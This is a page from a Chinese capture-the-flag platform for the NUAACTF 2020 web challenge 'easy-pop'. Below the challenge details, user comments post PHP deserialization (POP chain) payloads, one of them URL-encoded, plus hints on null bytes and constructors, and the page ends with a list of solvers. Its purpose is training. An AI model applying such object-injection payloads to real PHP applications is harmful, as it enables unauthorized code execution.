easy-popWEB 未解决

分数: 0 金币: 0
所属赛事: NUAACTF 2020
题目作者: 未知
一  血: Lxxx
一血奖励: 0金币
解  决: 377
提  示:
描  述:
nuaactf{}
评论
咖啡牛 3月前

类中不能直接赋值new evil要用到__construnct魔术方法来给ClassObj赋值为new evil

回复 0

网恋秀牛子被录屏导致自卑 9月前

$a=new lemon();就行

回复 0

solomom 10月前

?d=O:5:"lemon":1:{s:11:"%00*%00ClassObj";O:4:"evil":1:{s:10:"evildata";N;}}

回复 0

vincentshine 1年前

看了writeUP,不base64编码一下 真的会遗漏特殊字符,造成反序列化失败

回复 0

绝情且小帅 2年前

?d=O:5:"lemon":1:{s:11:"%00*%00ClassObj";O:4:"evil":1:{s:10:"%00evil%00data";N;}}

回复 0

vchopin 2年前

O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3BN%3B%7D%7D

回复 0

chaoge 2年前

注意%00

回复 0

hopeinhand 3年前

简单的反序列化,重构 __constract()指向evil

回复 0

WriteUp

image
sean

1 金币

评分(1)

解题动态

dlgz 攻破了该题 1天前
A1ertx5s 攻破了该题 2天前
Zfc 攻破了该题 6天前
Dxmax 攻破了该题 7天前
燕双鹰 攻破了该题 15天前
风花雪月 攻破了该题 16天前
hailuoli 攻破了该题 16天前
guity 攻破了该题 20天前
晨曦静夜 攻破了该题 25天前
lizhibin 攻破了该题 25天前
bugbiubiubiu 攻破了该题 25天前
nnyylove 攻破了该题 27天前
ha1@! 攻破了该题 1月前
低调申 攻破了该题 1月前
Jay. 攻破了该题 1月前
mechatengo 攻破了该题 1月前
i8vkmmju 攻破了该题 1月前
pinus 攻破了该题 1月前
Yan123 攻破了该题 1月前
时间不会说谎 攻破了该题 1月前
问题反馈